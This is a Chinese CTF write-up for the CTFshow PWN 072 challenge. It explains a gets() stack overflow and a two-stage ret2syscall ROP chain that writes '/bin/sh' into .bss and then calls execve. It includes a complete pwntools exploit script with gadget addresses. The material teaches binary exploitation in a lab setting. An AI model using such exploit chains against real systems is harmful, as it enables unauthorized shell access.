本文仅用于技术研究禁止用于非法用途。Author: 枷锁在上一关pwn 071中我们通过组装内存中的 Gadgets 成功触发了execve(/bin/sh)系统调用。但那次胜利有一个重要的前提程序内部恰好硬编码了/bin/sh这个字符串。随着难度的提升来到PWN 072出题人抽走了这块关键的拼图——二进制文件中再也找不到现成的/bin/sh字符串了。面对这种情况难道 ROP 链就此失效了吗答案是否定的。今天我们将学习如何利用多级 ROP 攻击链Multi-stage ROP结合read系统调用在内存中“无中生有”亲手打造提权的利器。第一部分环境侦察与防御边界建模1. 检查保护机制 (checksec file)首先我们对目标二进制程序进行常规的防御评估~/Desktop .............................................................. at 15:28:08 checksec ./pwn [*] /home/shining/Desktop/pwn Arch: i386-32-little -- 32 位经典架构 RELRO: Partial RELRO Stack: No canary found -- 栈哨兵缺失允许栈溢出 NX: NX enabled -- 栈不可执行必须依靠 ROP PIE: No PIE (0x8048000) -- 基址固定内存段地址可靠 Stripped: No file pwn pwn: ELF 32-bit LSB executable ... statically linked, for GNU/Linux 2.6.24 ...战术评估从环境信息来看本题与 071 的底层条件基本一致32位、开启了 NX 保护、且是静态编译。这决定了我们的攻击手法依然是利用程序自带的丰富汇编片段Gadgets构建Ret2Syscall攻击链。核心变数在于“弹药”即/bin/sh字符串缺失。第二部分代码审计与漏洞模型建立1. 静态分析 (IDA Pro)使用 IDA 反编译main函数逻辑依然直接且致命int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp10h] [ebp-20h] BYREF IO_setvbuf(stdout, 0, 2, 0); IO_setvbuf(stdin, 0, 1, 0); IO_puts(CTFshow-PWN); IO_puts(where is my system?); // 【致命漏洞点】无长度限制的字符串读取 IO_gets(v4); IO_puts(Emmm); return 0; }漏洞建模变量v4距离ebp的名义偏移为0x2032字节。结合保存的ebp(4字节)理论溢出量为 36 字节。在实际动态调试中受栈对齐影响到达返回地址RET的精确 Padding 长度为44 字节。我们可以通过gets函数随意覆写栈帧上的返回地址以接管执行流。第三部分破局思路Write-What-Where 与双级 ROP既然程序中没有/bin/sh我们就通过read系统调用将这串字符手动写入到一个权限为可读可写且地址固定的内存段如.bss段随后再触发execve系统调用。这就要求我们的 ROP 链分为清晰的两个阶段 (Two Stages)1. 实操找基址定位 .bss 段我们需要一个不会影响程序原有逻辑的空白内存区。使用readelf或 IDA 即可查看 readelf -S pwn | grep .bss [25] .bss NOBITS 080eb000 0751a8 0019bc 00 WA 0 0 32我们选中0x080eb000它具备WA可写可分配权限是完美的“空投区”。2. Stage 1注入字符串 (The “Write” Primitive)调用read(0, bss_addr, size)等待用户输入将/bin/sh\x00读入.bss段。EAX3(sys_read的调用号)EBX0(文件描述符stdin)ECX0x080eb000(目标.bss段地址)EDX0x10(读取长度足够容纳/bin/sh\x00即可)3. Stage 2触发提权 (The “Execve” Trigger)等read结束后ROP 链自动滑入下一阶段调用execve(bss_addr, NULL, NULL)。EAX0xb(11sys_execve的调用号)EBX0x080eb000(刚才写入了/bin/sh的地址)ECX0(argv NULL)EDX0(envp NULL)4. 搜集 ROP Gadgets 兵工厂通过ROPgadget --binary pwn --only pop|ret提取以下零件pop eax ; ret-0x080bb2c6pop edx ; pop ecx ; pop ebx ; ret-0x0806ecb0int 0x80-0x0806F350第四部分双段 ROP 攻击链内存结构可视化我们在栈上排布的指令必须严丝合缝。当main函数返回时执行流变化如下高地址 --- ----------------------------------------------------------------------- | int 0x80 | -- Stage 2: 终极裁决内核触发 execve拿 Shell | ----------------------------------------------------------------------- | bss_addr | 被 pop 进 EBX (指向已写入 /bin/sh 的内存) | ----------------------------------------------------------------------- | 0 | 被 pop 进 ECX (argv NULL) | ----------------------------------------------------------------------- | 0 | 被 pop 进 EDX (envp NULL) | ----------------------------------------------------------------------- | pop edx; ecx; ebx | -- Stage 2: 准备 execve 的三个参数 | ----------------------------------------------------------------------- | 0xb (11) | 被 pop 进 EAX (系统调用号sys_execve) | ----------------------------------------------------------------------- | pop eax; ret | -- Stage 2: sys_execve 启动 | | int 0x80 | -- Stage 1: 触发 read程序挂起等待我们发送 /bin/sh| ----------------------------------------------------------------------- | 0 | 被 pop 进 EBX (fd 0, stdin) | ----------------------------------------------------------------------- | bss_addr | 被 pop 进 ECX (目标写入地址0x080eb000) | ----------------------------------------------------------------------- | 0x10 | 被 pop 进 EDX (读取长度) | ----------------------------------------------------------------------- | pop edx; ecx; ebx | -- Stage 1: 准备 read 的三个参数 | ----------------------------------------------------------------------- | 3 | 被 pop 进 EAX (系统调用号sys_read) | ----------------------------------------------------------------------- | pop eax; ret | -- Stage 1: 劫持 EIPsys_read 启动 | | Padding (44 B) | 覆盖局部变量与 Saved EBP直达返回地址 | ----------------------------------------------------------------------- 低地址 ---第五部分实战 EXP 编写与详解使用pwntools将我们的战术蓝图转化为 Python 脚本。from pwn import * # # 1. 基础配置与环境初始化 # # 明确设定目标架构为 32 位 context(archi386, oslinux, log_leveldebug) # io process(./pwn) io remote(pwn.challenge.ctf.show, 28183) # # 2. 整合 Gadgets 兵工厂 # pop_eax 0x080bb2c6 pop_edx_ecx_ebx 0x0806ecb0 int_0x80 0x0806F350 bss_addr 0x080eb000 # .bss 段的空投锚点 # # 3. 组装多级 ROP 攻击链 (Multi-stage Ret2Syscall) # payload ba * 44 # --- Stage 1: 调用 sys_read(0, bss_addr, 0x10) --- payload p32(pop_eax) p32(0x3) payload p32(pop_edx_ecx_ebx) p32(0x10) p32(bss_addr) p32(0) payload p32(int_0x80) # 执行中断程序将在此处挂起等待输入 # --- Stage 2: 调用 sys_execve(bss_addr, 0, 0) --- # 注意Stage 1 执行完 read 内部的内核态切换并返回ret后EIP 会自然滑落到这里 payload p32(pop_eax) p32(0xb) payload p32(pop_edx_ecx_ebx) p32(0) p32(0) p32(bss_addr) payload p32(int_0x80) # 触发提权 # # 4. 执行注入与系统接管 # log.info([*] 发射多级 ROP 链第一阶段引导流劫持...) io.recvuntil(bwhere is my system?\n) io.sendline(payload) # 此时Stage 1 的 read 系统调用正在等待我们的键盘输入。 # 我们通过网络发送目标字符串 /bin/sh\x00它会被系统精准存入到 bss_addr 中 log.info(f[*] 正在向 BSS 段 [{hex(bss_addr)}] 盲注恶意字符串...) bin_sh b/bin/sh\x00 io.sendline(bin_sh) log.success([] 第二阶段执行流已被唤醒尝试获取系统 Shell...) io.interactive()第六部分底层原理复盘与总结1. Write-What-Where 原语的威力本题的核心思想在漏洞利用中被称为Write-What-Where向任意地址写入任意内容原语。当安全机制如过滤或字符串剥离切断了我们直接调用的途径时能够依靠微小的汇编指令手动“造轮子”运送弹药是高级漏洞利用的标志。2. 系统调用的连贯性为什么 Stage 1 的int 0x80执行完后会顺理成章地执行 Stage 2 因为系统调用如read在内核态执行完毕返回用户态时CPU 会顺着我们在栈上预置的指针继续下探。整个控制流Control Flow被我们牢牢掌控像多米诺骨牌一样精准倒下。3. 核心知识点总结多级 ROP 的拼接艺术在一个 Payload 中塞入多次系统调用并处理好串联的状态。BSS 段的战术价值未初始化的全局数据区通常在内存中具有固定地址且可读写是暂存攻击载荷的完美“空投区”。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。